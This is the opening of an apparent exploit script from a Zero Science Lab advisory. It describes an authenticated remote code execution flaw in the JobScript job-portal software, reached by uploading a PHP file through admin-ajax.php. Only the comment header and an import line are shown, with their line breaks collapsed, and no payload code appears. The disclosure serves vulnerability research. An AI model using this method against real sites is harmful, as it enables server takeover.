#!C:/Python27/python.exe -u### JobScript Remote Code Execution Exploit### Vendor: Jobscript# Product web page: http://www.jobscript.in# Affected version: Unknown## Summary: JobScript is inbuilt structured website was developed in PHP and MySQL # database. It's a complete job script for those who wants to start a professional # job portal website like naukri.com, monster.com, clickjobs.com or any such major # job portals. Jobscript was designed and developed with the following features like # control panel for Employer's and also for Job Seeker's, email alerts, job search, # online resume, payment and membership plans. ## Desc: JobScript suffers from an authenticated arbitrary PHP code execution. The # vulnerability is caused due to the improper verification of uploaded files in # '/admin-ajax.php' script thru the 'name' and 'file' POST parameters. This can # be exploited to execute arbitrary PHP code by uploading a malicious PHP script # file with '.php' extension (to bypass the '.htaccess' block rule) that will be # stored in '/jobmonster/wp-content/uploads/jobmonster/' directory.## Tested on: Apache 2.4.9#PHP 5.4.26## Vulnerability discovered by Bikramaditya 'PhoenixX' Guha## Zero Science Lab - http://www.zeroscience.mk# Macedonian Information Security Research And Development Laboratory### Advisory ID: ZSL-2016-5322# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5322.php### 31.03.2016#import itertools, mimetools, mimetypes
